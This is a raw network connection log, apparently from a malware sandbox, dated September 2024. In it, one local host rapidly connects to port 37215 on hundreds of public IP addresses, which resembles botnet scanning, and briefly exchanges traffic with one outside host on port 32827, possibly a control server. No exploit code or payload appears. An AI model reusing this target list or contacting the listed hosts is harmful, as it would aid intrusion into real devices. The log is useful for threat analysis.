Sep 25, 2024 14:14:26.533598900 CEST	39130	37215	192.168.2.14	197.217.4.140
Sep 25, 2024 14:14:26.533699989 CEST	37215	34298	156.54.131.208	192.168.2.14
Sep 25, 2024 14:14:26.533710957 CEST	37215	45398	41.255.242.176	192.168.2.14
Sep 25, 2024 14:14:26.533745050 CEST	34298	37215	192.168.2.14	156.54.131.208
Sep 25, 2024 14:14:26.534267902 CEST	34696	37215	192.168.2.14	197.39.234.102
Sep 25, 2024 14:14:26.534571886 CEST	37215	37280	156.207.227.232	192.168.2.14
Sep 25, 2024 14:14:26.534642935 CEST	37280	37215	192.168.2.14	156.207.227.232
Sep 25, 2024 14:14:26.534774065 CEST	56850	37215	192.168.2.14	197.66.212.76
Sep 25, 2024 14:14:26.535262108 CEST	35082	37215	192.168.2.14	156.81.18.222
Sep 25, 2024 14:14:26.535726070 CEST	55270	37215	192.168.2.14	41.33.196.235
Sep 25, 2024 14:14:26.536161900 CEST	37736	37215	192.168.2.14	156.234.141.152
Sep 25, 2024 14:14:26.536761999 CEST	37215	52406	41.139.27.47	192.168.2.14
Sep 25, 2024 14:14:26.536789894 CEST	48060	37215	192.168.2.14	156.181.128.158
Sep 25, 2024 14:14:26.536828041 CEST	52406	37215	192.168.2.14	41.139.27.47
Sep 25, 2024 14:14:26.537228107 CEST	39926	37215	192.168.2.14	156.203.208.6
Sep 25, 2024 14:14:26.537698984 CEST	37648	37215	192.168.2.14	156.236.249.253
Sep 25, 2024 14:14:26.538156986 CEST	51756	37215	192.168.2.14	41.86.154.216
Sep 25, 2024 14:14:26.538779974 CEST	50562	37215	192.168.2.14	197.66.37.45
Sep 25, 2024 14:14:26.539782047 CEST	50324	37215	192.168.2.14	41.231.47.126
Sep 25, 2024 14:14:26.541683912 CEST	48954	37215	192.168.2.14	197.163.1.4
Sep 25, 2024 14:14:26.542305946 CEST	60926	37215	192.168.2.14	156.15.229.166
Sep 25, 2024 14:14:26.543065071 CEST	42652	37215	192.168.2.14	41.119.211.219
Sep 25, 2024 14:14:26.543735981 CEST	42324	37215	192.168.2.14	41.196.7.100
Sep 25, 2024 14:14:26.544469118 CEST	40818	37215	192.168.2.14	156.105.125.145
Sep 25, 2024 14:14:26.545152903 CEST	49594	37215	192.168.2.14	197.165.193.4
Sep 25, 2024 14:14:26.545914888 CEST	60278	37215	192.168.2.14	156.25.22.251
Sep 25, 2024 14:14:26.546808958 CEST	49102	37215	192.168.2.14	41.43.237.174
Sep 25, 2024 14:14:26.547599077 CEST	40060	37215	192.168.2.14	156.172.193.46
Sep 25, 2024 14:14:26.548341036 CEST	43960	37215	192.168.2.14	156.93.5.52
Sep 25, 2024 14:14:26.549015999 CEST	37215	42324	41.196.7.100	192.168.2.14
Sep 25, 2024 14:14:26.549043894 CEST	54524	37215	192.168.2.14	41.199.199.160
Sep 25, 2024 14:14:26.549065113 CEST	42324	37215	192.168.2.14	41.196.7.100
Sep 25, 2024 14:14:26.549566984 CEST	55370	37215	192.168.2.14	156.47.117.154
Sep 25, 2024 14:14:26.549628019 CEST	55510	37215	192.168.2.14	156.63.107.70
Sep 25, 2024 14:14:26.549633026 CEST	50040	37215	192.168.2.14	156.181.180.92
Sep 25, 2024 14:14:26.549633026 CEST	55450	37215	192.168.2.14	156.152.3.117
Sep 25, 2024 14:14:26.549637079 CEST	44276	37215	192.168.2.14	41.117.24.187
Sep 25, 2024 14:14:26.549648046 CEST	58580	37215	192.168.2.14	197.247.35.202
Sep 25, 2024 14:14:26.549648046 CEST	46100	37215	192.168.2.14	156.160.112.195
Sep 25, 2024 14:14:26.549648046 CEST	45188	37215	192.168.2.14	197.30.224.191
Sep 25, 2024 14:14:26.549648046 CEST	58880	37215	192.168.2.14	41.218.193.174
Sep 25, 2024 14:14:26.549649954 CEST	38432	37215	192.168.2.14	156.31.128.84
Sep 25, 2024 14:14:26.549648046 CEST	58926	37215	192.168.2.14	156.103.4.128
Sep 25, 2024 14:14:26.549653053 CEST	56512	37215	192.168.2.14	197.103.80.54
Sep 25, 2024 14:14:26.549654007 CEST	46344	37215	192.168.2.14	156.22.33.252
Sep 25, 2024 14:14:26.549659014 CEST	58026	37215	192.168.2.14	156.188.255.235
Sep 25, 2024 14:14:26.549659014 CEST	39358	37215	192.168.2.14	197.67.2.0
Sep 25, 2024 14:14:26.549660921 CEST	32780	37215	192.168.2.14	41.191.135.128
Sep 25, 2024 14:14:26.549664021 CEST	39246	37215	192.168.2.14	197.43.150.11
Sep 25, 2024 14:14:26.549664974 CEST	36472	37215	192.168.2.14	197.141.193.242
Sep 25, 2024 14:14:26.549664974 CEST	57342	37215	192.168.2.14	197.183.125.169
Sep 25, 2024 14:14:26.549668074 CEST	34738	37215	192.168.2.14	197.190.69.137
Sep 25, 2024 14:14:26.549668074 CEST	34190	37215	192.168.2.14	197.138.129.194
Sep 25, 2024 14:14:26.549668074 CEST	55702	37215	192.168.2.14	197.232.30.114
Sep 25, 2024 14:14:26.549678087 CEST	49938	37215	192.168.2.14	156.170.145.195
Sep 25, 2024 14:14:26.549734116 CEST	42544	37215	192.168.2.14	156.234.253.235
Sep 25, 2024 14:14:26.549734116 CEST	51050	37215	192.168.2.14	41.57.194.114
Sep 25, 2024 14:14:26.549738884 CEST	43590	37215	192.168.2.14	156.171.152.43
Sep 25, 2024 14:14:26.549746990 CEST	58478	37215	192.168.2.14	41.130.77.93
Sep 25, 2024 14:14:26.549746990 CEST	37368	37215	192.168.2.14	156.187.201.235
Sep 25, 2024 14:14:26.549746990 CEST	60550	37215	192.168.2.14	156.225.218.158
Sep 25, 2024 14:14:26.549755096 CEST	41288	37215	192.168.2.14	41.51.35.238
Sep 25, 2024 14:14:26.549756050 CEST	41022	37215	192.168.2.14	41.156.111.157
Sep 25, 2024 14:14:26.549756050 CEST	38768	37215	192.168.2.14	41.79.119.224
Sep 25, 2024 14:14:26.549756050 CEST	50806	37215	192.168.2.14	197.78.143.131
Sep 25, 2024 14:14:26.549813986 CEST	38696	37215	192.168.2.14	156.232.20.55
Sep 25, 2024 14:14:26.549813986 CEST	59130	37215	192.168.2.14	156.158.105.241
Sep 25, 2024 14:14:26.549813986 CEST	59742	37215	192.168.2.14	156.248.57.255
Sep 25, 2024 14:14:26.550160885 CEST	50844	37215	192.168.2.14	156.81.68.0
Sep 25, 2024 14:14:26.550856113 CEST	50156	37215	192.168.2.14	197.74.218.71
Sep 25, 2024 14:14:26.551532984 CEST	55208	37215	192.168.2.14	41.235.119.134
Sep 25, 2024 14:14:26.552251101 CEST	37536	37215	192.168.2.14	41.83.219.54
Sep 25, 2024 14:14:26.553014040 CEST	38784	37215	192.168.2.14	197.17.187.114
Sep 25, 2024 14:14:26.553498030 CEST	56492	37215	192.168.2.14	41.98.106.247
Sep 25, 2024 14:14:26.554096937 CEST	36956	37215	192.168.2.14	41.229.210.177
Sep 25, 2024 14:14:26.554883003 CEST	42848	37215	192.168.2.14	197.251.62.7
Sep 25, 2024 14:14:26.555906057 CEST	41852	37215	192.168.2.14	156.40.192.176
Sep 25, 2024 14:14:26.556472063 CEST	37215	55208	41.235.119.134	192.168.2.14
Sep 25, 2024 14:14:26.556519985 CEST	55208	37215	192.168.2.14	41.235.119.134
Sep 25, 2024 14:14:26.557045937 CEST	53736	37215	192.168.2.14	156.240.45.175
Sep 25, 2024 14:14:26.558116913 CEST	38024	37215	192.168.2.14	197.134.95.236
Sep 25, 2024 14:14:26.558950901 CEST	36706	37215	192.168.2.14	156.181.223.109
Sep 25, 2024 14:14:26.559994936 CEST	50632	37215	192.168.2.14	197.95.136.237
Sep 25, 2024 14:14:26.560739040 CEST	33122	37215	192.168.2.14	41.78.200.36
Sep 25, 2024 14:14:26.561836004 CEST	41070	37215	192.168.2.14	41.137.147.229
Sep 25, 2024 14:14:26.562567949 CEST	47390	37215	192.168.2.14	41.47.34.165
Sep 25, 2024 14:14:26.563030005 CEST	48264	37215	192.168.2.14	197.124.53.141
Sep 25, 2024 14:14:26.563508987 CEST	45472	37215	192.168.2.14	156.216.176.0
Sep 25, 2024 14:14:26.563935041 CEST	43352	37215	192.168.2.14	156.99.199.8
Sep 25, 2024 14:14:26.564377069 CEST	53010	37215	192.168.2.14	197.52.64.150
Sep 25, 2024 14:14:26.564826012 CEST	58134	37215	192.168.2.14	156.38.30.116
Sep 25, 2024 14:14:26.565278053 CEST	52138	37215	192.168.2.14	197.84.55.128
Sep 25, 2024 14:14:26.565918922 CEST	49924	37215	192.168.2.14	41.34.28.21
Sep 25, 2024 14:14:26.566504002 CEST	48432	37215	192.168.2.14	197.142.4.242
Sep 25, 2024 14:14:26.567013979 CEST	34910	37215	192.168.2.14	156.30.61.21
Sep 25, 2024 14:14:26.567430973 CEST	35782	37215	192.168.2.14	41.233.172.226
Sep 25, 2024 14:14:26.567905903 CEST	45334	37215	192.168.2.14	197.216.198.88
Sep 25, 2024 14:14:26.568361998 CEST	33964	37215	192.168.2.14	197.23.218.89
Sep 25, 2024 14:14:26.568895102 CEST	52832	37215	192.168.2.14	156.41.196.219
Sep 25, 2024 14:14:26.569494009 CEST	37215	45472	156.216.176.0	192.168.2.14
Sep 25, 2024 14:14:26.569525003 CEST	59736	37215	192.168.2.14	156.232.193.116
Sep 25, 2024 14:14:26.569571018 CEST	45472	37215	192.168.2.14	156.216.176.0
Sep 25, 2024 14:14:26.570327997 CEST	36168	37215	192.168.2.14	156.138.131.129
Sep 25, 2024 14:14:26.571166992 CEST	48740	37215	192.168.2.14	197.149.161.125
Sep 25, 2024 14:14:26.572227955 CEST	59658	37215	192.168.2.14	197.167.59.99
Sep 25, 2024 14:14:26.573199987 CEST	35648	37215	192.168.2.14	41.249.188.230
Sep 25, 2024 14:14:26.573788881 CEST	37215	46598	156.239.122.27	192.168.2.14
Sep 25, 2024 14:14:26.573851109 CEST	58298	37215	192.168.2.14	156.67.103.139
Sep 25, 2024 14:14:26.573851109 CEST	58298	37215	192.168.2.14	156.67.103.139
Sep 25, 2024 14:14:26.573942900 CEST	37215	45398	41.255.242.176	192.168.2.14
Sep 25, 2024 14:14:26.573952913 CEST	37215	54742	156.189.114.235	192.168.2.14
Sep 25, 2024 14:14:26.573962927 CEST	37215	32886	41.212.141.92	192.168.2.14
Sep 25, 2024 14:14:26.573972940 CEST	37215	49820	41.62.184.97	192.168.2.14
Sep 25, 2024 14:14:26.573982000 CEST	37215	41560	156.204.119.239	192.168.2.14
Sep 25, 2024 14:14:26.574315071 CEST	58744	37215	192.168.2.14	156.67.103.139
Sep 25, 2024 14:14:26.574697971 CEST	37980	37215	192.168.2.14	156.18.192.245
Sep 25, 2024 14:14:26.574697971 CEST	37980	37215	192.168.2.14	156.18.192.245
Sep 25, 2024 14:14:26.575109959 CEST	38220	37215	192.168.2.14	156.18.192.245
Sep 25, 2024 14:14:26.575598955 CEST	56766	37215	192.168.2.14	197.56.33.39
Sep 25, 2024 14:14:26.575598955 CEST	56766	37215	192.168.2.14	197.56.33.39
Sep 25, 2024 14:14:26.575828075 CEST	57214	37215	192.168.2.14	197.56.33.39
Sep 25, 2024 14:14:26.576687098 CEST	52736	37215	192.168.2.14	156.212.161.32
Sep 25, 2024 14:14:26.576687098 CEST	52736	37215	192.168.2.14	156.212.161.32
Sep 25, 2024 14:14:26.577356100 CEST	52976	37215	192.168.2.14	156.212.161.32
Sep 25, 2024 14:14:26.578324080 CEST	37215	59658	197.167.59.99	192.168.2.14
Sep 25, 2024 14:14:26.578448057 CEST	59658	37215	192.168.2.14	197.167.59.99
Sep 25, 2024 14:14:26.578912020 CEST	50618	37215	192.168.2.14	156.127.70.28
Sep 25, 2024 14:14:26.578912020 CEST	50618	37215	192.168.2.14	156.127.70.28
Sep 25, 2024 14:14:26.579071045 CEST	37215	58298	156.67.103.139	192.168.2.14
Sep 25, 2024 14:14:26.579319954 CEST	50858	37215	192.168.2.14	156.127.70.28
Sep 25, 2024 14:14:26.579520941 CEST	37215	37980	156.18.192.245	192.168.2.14
Sep 25, 2024 14:14:26.579618931 CEST	35916	37215	192.168.2.14	41.239.114.94
Sep 25, 2024 14:14:26.579618931 CEST	35916	37215	192.168.2.14	41.239.114.94
Sep 25, 2024 14:14:26.579960108 CEST	36156	37215	192.168.2.14	41.239.114.94
Sep 25, 2024 14:14:26.580477953 CEST	37215	56766	197.56.33.39	192.168.2.14
Sep 25, 2024 14:14:26.580518007 CEST	43522	37215	192.168.2.14	156.251.54.231
Sep 25, 2024 14:14:26.580518007 CEST	43522	37215	192.168.2.14	156.251.54.231
Sep 25, 2024 14:14:26.580948114 CEST	43762	37215	192.168.2.14	156.251.54.231
Sep 25, 2024 14:14:26.581296921 CEST	53178	37215	192.168.2.14	197.12.87.129
Sep 25, 2024 14:14:26.581296921 CEST	53178	37215	192.168.2.14	197.12.87.129
Sep 25, 2024 14:14:26.581501007 CEST	37215	52736	156.212.161.32	192.168.2.14
Sep 25, 2024 14:14:26.581552029 CEST	53418	37215	192.168.2.14	197.12.87.129
Sep 25, 2024 14:14:26.582061052 CEST	49716	37215	192.168.2.14	41.72.103.157
Sep 25, 2024 14:14:26.582061052 CEST	49716	37215	192.168.2.14	41.72.103.157
Sep 25, 2024 14:14:26.582505941 CEST	50174	37215	192.168.2.14	41.72.103.157
Sep 25, 2024 14:14:26.582946062 CEST	36302	37215	192.168.2.14	197.94.200.193
Sep 25, 2024 14:14:26.582963943 CEST	36302	37215	192.168.2.14	197.94.200.193
Sep 25, 2024 14:14:26.583409071 CEST	36544	37215	192.168.2.14	197.94.200.193
Sep 25, 2024 14:14:26.583794117 CEST	37215	50618	156.127.70.28	192.168.2.14
Sep 25, 2024 14:14:26.583973885 CEST	39388	37215	192.168.2.14	197.60.166.192
Sep 25, 2024 14:14:26.583973885 CEST	39388	37215	192.168.2.14	197.60.166.192
Sep 25, 2024 14:14:26.584238052 CEST	39630	37215	192.168.2.14	197.60.166.192
Sep 25, 2024 14:14:26.584436893 CEST	37215	35916	41.239.114.94	192.168.2.14
Sep 25, 2024 14:14:26.584770918 CEST	48558	37215	192.168.2.14	197.141.72.222
Sep 25, 2024 14:14:26.584770918 CEST	48558	37215	192.168.2.14	197.141.72.222
Sep 25, 2024 14:14:26.585274935 CEST	48800	37215	192.168.2.14	197.141.72.222
Sep 25, 2024 14:14:26.585299015 CEST	37215	43522	156.251.54.231	192.168.2.14
Sep 25, 2024 14:14:26.585856915 CEST	44276	37215	192.168.2.14	156.250.43.76
Sep 25, 2024 14:14:26.585856915 CEST	44276	37215	192.168.2.14	156.250.43.76
Sep 25, 2024 14:14:26.586069107 CEST	37215	53178	197.12.87.129	192.168.2.14
Sep 25, 2024 14:14:26.586124897 CEST	44514	37215	192.168.2.14	156.250.43.76
Sep 25, 2024 14:14:26.586981058 CEST	37215	49716	41.72.103.157	192.168.2.14
Sep 25, 2024 14:14:26.586999893 CEST	52406	37215	192.168.2.14	41.139.27.47
Sep 25, 2024 14:14:26.586999893 CEST	52406	37215	192.168.2.14	41.139.27.47
Sep 25, 2024 14:14:26.587399960 CEST	52554	37215	192.168.2.14	41.139.27.47
Sep 25, 2024 14:14:26.587789059 CEST	42324	37215	192.168.2.14	41.196.7.100
Sep 25, 2024 14:14:26.587790012 CEST	42324	37215	192.168.2.14	41.196.7.100
Sep 25, 2024 14:14:26.588093042 CEST	42438	37215	192.168.2.14	41.196.7.100
Sep 25, 2024 14:14:26.588430882 CEST	55208	37215	192.168.2.14	41.235.119.134
Sep 25, 2024 14:14:26.588430882 CEST	55208	37215	192.168.2.14	41.235.119.134
Sep 25, 2024 14:14:26.588583946 CEST	37215	36302	197.94.200.193	192.168.2.14
Sep 25, 2024 14:14:26.588641882 CEST	55302	37215	192.168.2.14	41.235.119.134
Sep 25, 2024 14:14:26.588890076 CEST	45472	37215	192.168.2.14	156.216.176.0
Sep 25, 2024 14:14:26.588890076 CEST	45472	37215	192.168.2.14	156.216.176.0
Sep 25, 2024 14:14:26.589111090 CEST	45538	37215	192.168.2.14	156.216.176.0
Sep 25, 2024 14:14:26.589314938 CEST	37215	36544	197.94.200.193	192.168.2.14
Sep 25, 2024 14:14:26.589359045 CEST	36544	37215	192.168.2.14	197.94.200.193
Sep 25, 2024 14:14:26.589411020 CEST	36544	37215	192.168.2.14	197.94.200.193
Sep 25, 2024 14:14:26.589427948 CEST	59658	37215	192.168.2.14	197.167.59.99
Sep 25, 2024 14:14:26.589427948 CEST	59658	37215	192.168.2.14	197.167.59.99
Sep 25, 2024 14:14:26.589639902 CEST	59696	37215	192.168.2.14	197.167.59.99
Sep 25, 2024 14:14:26.590167999 CEST	37215	39388	197.60.166.192	192.168.2.14
Sep 25, 2024 14:14:26.590179920 CEST	37215	48558	197.141.72.222	192.168.2.14
Sep 25, 2024 14:14:26.590668917 CEST	37215	44276	156.250.43.76	192.168.2.14
Sep 25, 2024 14:14:26.592339993 CEST	37215	52406	41.139.27.47	192.168.2.14
Sep 25, 2024 14:14:26.593523979 CEST	37215	42324	41.196.7.100	192.168.2.14
Sep 25, 2024 14:14:26.594455004 CEST	37215	55208	41.235.119.134	192.168.2.14
Sep 25, 2024 14:14:26.594465017 CEST	37215	45472	156.216.176.0	192.168.2.14
Sep 25, 2024 14:14:26.594676971 CEST	37215	59658	197.167.59.99	192.168.2.14
Sep 25, 2024 14:14:26.595010042 CEST	37215	36544	197.94.200.193	192.168.2.14
Sep 25, 2024 14:14:26.595057011 CEST	36544	37215	192.168.2.14	197.94.200.193
Sep 25, 2024 14:14:26.622889042 CEST	37215	52736	156.212.161.32	192.168.2.14
Sep 25, 2024 14:14:26.622916937 CEST	37215	56766	197.56.33.39	192.168.2.14
Sep 25, 2024 14:14:26.622926950 CEST	37215	37980	156.18.192.245	192.168.2.14
Sep 25, 2024 14:14:26.623218060 CEST	37215	58298	156.67.103.139	192.168.2.14
Sep 25, 2024 14:14:26.628004074 CEST	37215	43522	156.251.54.231	192.168.2.14
Sep 25, 2024 14:14:26.628015041 CEST	37215	35916	41.239.114.94	192.168.2.14
Sep 25, 2024 14:14:26.628024101 CEST	37215	50618	156.127.70.28	192.168.2.14
Sep 25, 2024 14:14:26.632966042 CEST	37215	36302	197.94.200.193	192.168.2.14
Sep 25, 2024 14:14:26.632980108 CEST	37215	49716	41.72.103.157	192.168.2.14
Sep 25, 2024 14:14:26.632988930 CEST	37215	53178	197.12.87.129	192.168.2.14
Sep 25, 2024 14:14:26.638014078 CEST	37215	52406	41.139.27.47	192.168.2.14
Sep 25, 2024 14:14:26.638025045 CEST	37215	44276	156.250.43.76	192.168.2.14
Sep 25, 2024 14:14:26.638034105 CEST	37215	48558	197.141.72.222	192.168.2.14
Sep 25, 2024 14:14:26.638044119 CEST	37215	39388	197.60.166.192	192.168.2.14
Sep 25, 2024 14:14:26.638065100 CEST	37215	59658	197.167.59.99	192.168.2.14
Sep 25, 2024 14:14:26.638068914 CEST	37215	45472	156.216.176.0	192.168.2.14
Sep 25, 2024 14:14:26.638077974 CEST	37215	55208	41.235.119.134	192.168.2.14
Sep 25, 2024 14:14:26.638135910 CEST	37215	42324	41.196.7.100	192.168.2.14
Sep 25, 2024 14:14:26.962923050 CEST	55510	32827	192.168.2.14	185.196.10.235
Sep 25, 2024 14:14:26.967962980 CEST	32827	55510	185.196.10.235	192.168.2.14
Sep 25, 2024 14:14:26.968030930 CEST	55510	32827	192.168.2.14	185.196.10.235
Sep 25, 2024 14:14:26.968564034 CEST	55510	32827	192.168.2.14	185.196.10.235
Sep 25, 2024 14:14:26.973591089 CEST	32827	55510	185.196.10.235	192.168.2.14
Sep 25, 2024 14:14:27.541584969 CEST	50562	37215	192.168.2.14	197.66.37.45
Sep 25, 2024 14:14:27.541589975 CEST	50324	37215	192.168.2.14	41.231.47.126
Sep 25, 2024 14:14:27.541589975 CEST	51756	37215	192.168.2.14	41.86.154.216
Sep 25, 2024 14:14:27.541595936 CEST	37648	37215	192.168.2.14	156.236.249.253
Sep 25, 2024 14:14:27.541613102 CEST	37736	37215	192.168.2.14	156.234.141.152
Sep 25, 2024 14:14:27.541613102 CEST	35082	37215	192.168.2.14	156.81.18.222
Sep 25, 2024 14:14:27.541630983 CEST	42150	37215	192.168.2.14	156.225.45.70
Sep 25, 2024 14:14:27.541640997 CEST	37832	37215	192.168.2.14	156.94.130.72
Sep 25, 2024 14:14:27.541641951 CEST	48060	37215	192.168.2.14	156.181.128.158
Sep 25, 2024 14:14:27.541641951 CEST	34696	37215	192.168.2.14	197.39.234.102
Sep 25, 2024 14:14:27.541641951 CEST	46686	37215	192.168.2.14	156.239.122.27
Sep 25, 2024 14:14:27.541647911 CEST	55270	37215	192.168.2.14	41.33.196.235
Sep 25, 2024 14:14:27.541647911 CEST	56850	37215	192.168.2.14	197.66.212.76
Sep 25, 2024 14:14:27.541649103 CEST	45486	37215	192.168.2.14	41.255.242.176
Sep 25, 2024 14:14:27.541649103 CEST	50012	37215	192.168.2.14	197.162.20.115
Sep 25, 2024 14:14:27.541651011 CEST	54846	37215	192.168.2.14	156.189.114.235
Sep 25, 2024 14:14:27.541655064 CEST	39926	37215	192.168.2.14	156.203.208.6
Sep 25, 2024 14:14:27.541655064 CEST	34908	37215	192.168.2.14	41.199.44.130
Sep 25, 2024 14:14:27.541659117 CEST	39130	37215	192.168.2.14	197.217.4.140
Sep 25, 2024 14:14:27.541659117 CEST	32994	37215	192.168.2.14	41.212.141.92
Sep 25, 2024 14:14:27.541666031 CEST	45114	37215	192.168.2.14	197.103.231.195
Sep 25, 2024 14:14:27.541676998 CEST	49928	37215	192.168.2.14	41.62.184.97
Sep 25, 2024 14:14:27.541676998 CEST	41800	37215	192.168.2.14	156.45.38.194
Sep 25, 2024 14:14:27.541676998 CEST	51604	37215	192.168.2.14	197.89.121.177
Sep 25, 2024 14:14:27.541681051 CEST	41668	37215	192.168.2.14	156.204.119.239
Sep 25, 2024 14:14:27.541687012 CEST	57370	37215	192.168.2.14	197.225.21.22
Sep 25, 2024 14:14:27.541688919 CEST	41108	37215	192.168.2.14	41.205.212.169
Sep 25, 2024 14:14:27.541728973 CEST	33616	37215	192.168.2.14	41.13.242.126
Sep 25, 2024 14:14:27.541728973 CEST	45812	37215	192.168.2.14	156.239.3.244
Sep 25, 2024 14:14:27.547667027 CEST	37215	50562	197.66.37.45	192.168.2.14
Sep 25, 2024 14:14:27.547679901 CEST	37215	50324	41.231.47.126	192.168.2.14
Sep 25, 2024 14:14:27.547689915 CEST	37215	37648	156.236.249.253	192.168.2.14
Sep 25, 2024 14:14:27.547700882 CEST	37215	51756	41.86.154.216	192.168.2.14
Sep 25, 2024 14:14:27.547709942 CEST	37215	37736	156.234.141.152	192.168.2.14
Sep 25, 2024 14:14:27.547719002 CEST	37215	35082	156.81.18.222	192.168.2.14
Sep 25, 2024 14:14:27.547724962 CEST	50562	37215	192.168.2.14	197.66.37.45
Sep 25, 2024 14:14:27.547728062 CEST	37215	45486	41.255.242.176	192.168.2.14
Sep 25, 2024 14:14:27.547729015 CEST	50324	37215	192.168.2.14	41.231.47.126
Sep 25, 2024 14:14:27.547741890 CEST	37648	37215	192.168.2.14	156.236.249.253
Sep 25, 2024 14:14:27.547749043 CEST	37736	37215	192.168.2.14	156.234.141.152
Sep 25, 2024 14:14:27.547758102 CEST	35082	37215	192.168.2.14	156.81.18.222
Sep 25, 2024 14:14:27.547760010 CEST	37215	39926	156.203.208.6	192.168.2.14
Sep 25, 2024 14:14:27.547769070 CEST	51756	37215	192.168.2.14	41.86.154.216
Sep 25, 2024 14:14:27.547769070 CEST	45486	37215	192.168.2.14	41.255.242.176
Sep 25, 2024 14:14:27.547770977 CEST	37215	48060	156.181.128.158	192.168.2.14
Sep 25, 2024 14:14:27.547780991 CEST	37215	34908	41.199.44.130	192.168.2.14
Sep 25, 2024 14:14:27.547789097 CEST	39926	37215	192.168.2.14	156.203.208.6
Sep 25, 2024 14:14:27.547791004 CEST	37215	37832	156.94.130.72	192.168.2.14
Sep 25, 2024 14:14:27.547800064 CEST	37215	55270	41.33.196.235	192.168.2.14
Sep 25, 2024 14:14:27.547808886 CEST	37215	42150	156.225.45.70	192.168.2.14
Sep 25, 2024 14:14:27.547816038 CEST	34908	37215	192.168.2.14	41.199.44.130
Sep 25, 2024 14:14:27.547818899 CEST	37832	37215	192.168.2.14	156.94.130.72
Sep 25, 2024 14:14:27.547820091 CEST	37215	45114	197.103.231.195	192.168.2.14
Sep 25, 2024 14:14:27.547827959 CEST	55270	37215	192.168.2.14	41.33.196.235
Sep 25, 2024 14:14:27.547831059 CEST	42150	37215	192.168.2.14	156.225.45.70
Sep 25, 2024 14:14:27.547840118 CEST	37215	56850	197.66.212.76	192.168.2.14
Sep 25, 2024 14:14:27.547848940 CEST	37215	39130	197.217.4.140	192.168.2.14
Sep 25, 2024 14:14:27.547858000 CEST	37215	54846	156.189.114.235	192.168.2.14
Sep 25, 2024 14:14:27.547864914 CEST	56850	37215	192.168.2.14	197.66.212.76
Sep 25, 2024 14:14:27.547867060 CEST	37215	34696	197.39.234.102	192.168.2.14
Sep 25, 2024 14:14:27.547868967 CEST	39130	37215	192.168.2.14	197.217.4.140
Sep 25, 2024 14:14:27.547875881 CEST	37215	50012	197.162.20.115	192.168.2.14
Sep 25, 2024 14:14:27.547883987 CEST	37215	32994	41.212.141.92	192.168.2.14
Sep 25, 2024 14:14:27.547883987 CEST	54846	37215	192.168.2.14	156.189.114.235
Sep 25, 2024 14:14:27.547885895 CEST	45114	37215	192.168.2.14	197.103.231.195
Sep 25, 2024 14:14:27.547885895 CEST	45486	37215	192.168.2.14	41.255.242.176
Sep 25, 2024 14:14:27.547893047 CEST	37215	46686	156.239.122.27	192.168.2.14
Sep 25, 2024 14:14:27.547894955 CEST	50012	37215	192.168.2.14	197.162.20.115
Sep 25, 2024 14:14:27.547907114 CEST	32994	37215	192.168.2.14	41.212.141.92
Sep 25, 2024 14:14:27.547956944 CEST	63353	37215	192.168.2.14	197.232.85.84
Sep 25, 2024 14:14:27.547962904 CEST	63353	37215	192.168.2.14	197.117.156.241
Sep 25, 2024 14:14:27.547966957 CEST	63353	37215	192.168.2.14	156.131.47.109
Sep 25, 2024 14:14:27.547974110 CEST	63353	37215	192.168.2.14	197.198.142.167
Sep 25, 2024 14:14:27.547991037 CEST	63353	37215	192.168.2.14	41.0.149.6
Sep 25, 2024 14:14:27.547991037 CEST	63353	37215	192.168.2.14	41.217.237.46
Sep 25, 2024 14:14:27.547993898 CEST	63353	37215	192.168.2.14	197.84.156.29
Sep 25, 2024 14:14:27.548005104 CEST	63353	37215	192.168.2.14	41.233.32.150
Sep 25, 2024 14:14:27.548005104 CEST	37215	41668	156.204.119.239	192.168.2.14
Sep 25, 2024 14:14:27.548018932 CEST	63353	37215	192.168.2.14	197.204.136.152
Sep 25, 2024 14:14:27.548031092 CEST	63353	37215	192.168.2.14	156.5.197.117
Sep 25, 2024 14:14:27.548031092 CEST	41668	37215	192.168.2.14	156.204.119.239
Sep 25, 2024 14:14:27.548047066 CEST	63353	37215	192.168.2.14	41.197.74.220
Sep 25, 2024 14:14:27.548057079 CEST	63353	37215	192.168.2.14	41.84.144.155
Sep 25, 2024 14:14:27.548079014 CEST	63353	37215	192.168.2.14	41.11.199.75
Sep 25, 2024 14:14:27.548089027 CEST	63353	37215	192.168.2.14	197.135.138.40
Sep 25, 2024 14:14:27.548093081 CEST	63353	37215	192.168.2.14	197.153.105.177
Sep 25, 2024 14:14:27.548105001 CEST	63353	37215	192.168.2.14	41.168.65.128
Sep 25, 2024 14:14:27.548105955 CEST	63353	37215	192.168.2.14	197.158.99.190
Sep 25, 2024 14:14:27.548119068 CEST	63353	37215	192.168.2.14	197.83.11.157
Sep 25, 2024 14:14:27.548120022 CEST	63353	37215	192.168.2.14	41.65.76.159
Sep 25, 2024 14:14:27.548127890 CEST	63353	37215	192.168.2.14	41.71.167.61
Sep 25, 2024 14:14:27.548127890 CEST	63353	37215	192.168.2.14	197.113.75.39
Sep 25, 2024 14:14:27.548139095 CEST	63353	37215	192.168.2.14	197.212.249.59
Sep 25, 2024 14:14:27.548145056 CEST	63353	37215	192.168.2.14	197.144.151.77
Sep 25, 2024 14:14:27.548155069 CEST	63353	37215	192.168.2.14	156.38.70.33
Sep 25, 2024 14:14:27.548156977 CEST	63353	37215	192.168.2.14	197.91.57.18
Sep 25, 2024 14:14:27.548170090 CEST	63353	37215	192.168.2.14	41.207.176.200
Sep 25, 2024 14:14:27.548171997 CEST	63353	37215	192.168.2.14	197.210.249.44
Sep 25, 2024 14:14:27.548185110 CEST	63353	37215	192.168.2.14	41.20.79.26
Sep 25, 2024 14:14:27.548186064 CEST	63353	37215	192.168.2.14	41.83.24.63
Sep 25, 2024 14:14:27.548197031 CEST	63353	37215	192.168.2.14	41.107.245.221
Sep 25, 2024 14:14:27.548202991 CEST	63353	37215	192.168.2.14	41.90.194.115
Sep 25, 2024 14:14:27.548219919 CEST	63353	37215	192.168.2.14	197.31.95.124
Sep 25, 2024 14:14:27.548219919 CEST	63353	37215	192.168.2.14	41.191.205.246
Sep 25, 2024 14:14:27.548233032 CEST	63353	37215	192.168.2.14	197.62.26.28
Sep 25, 2024 14:14:27.548249960 CEST	63353	37215	192.168.2.14	41.192.117.40
Sep 25, 2024 14:14:27.548250914 CEST	63353	37215	192.168.2.14	156.13.166.230
Sep 25, 2024 14:14:27.548259974 CEST	63353	37215	192.168.2.14	156.133.226.216
Sep 25, 2024 14:14:27.548264027 CEST	37215	49928	41.62.184.97	192.168.2.14
Sep 25, 2024 14:14:27.548269987 CEST	63353	37215	192.168.2.14	156.220.22.110
Sep 25, 2024 14:14:27.548278093 CEST	63353	37215	192.168.2.14	41.18.29.74
Sep 25, 2024 14:14:27.548280001 CEST	37215	41800	156.45.38.194	192.168.2.14
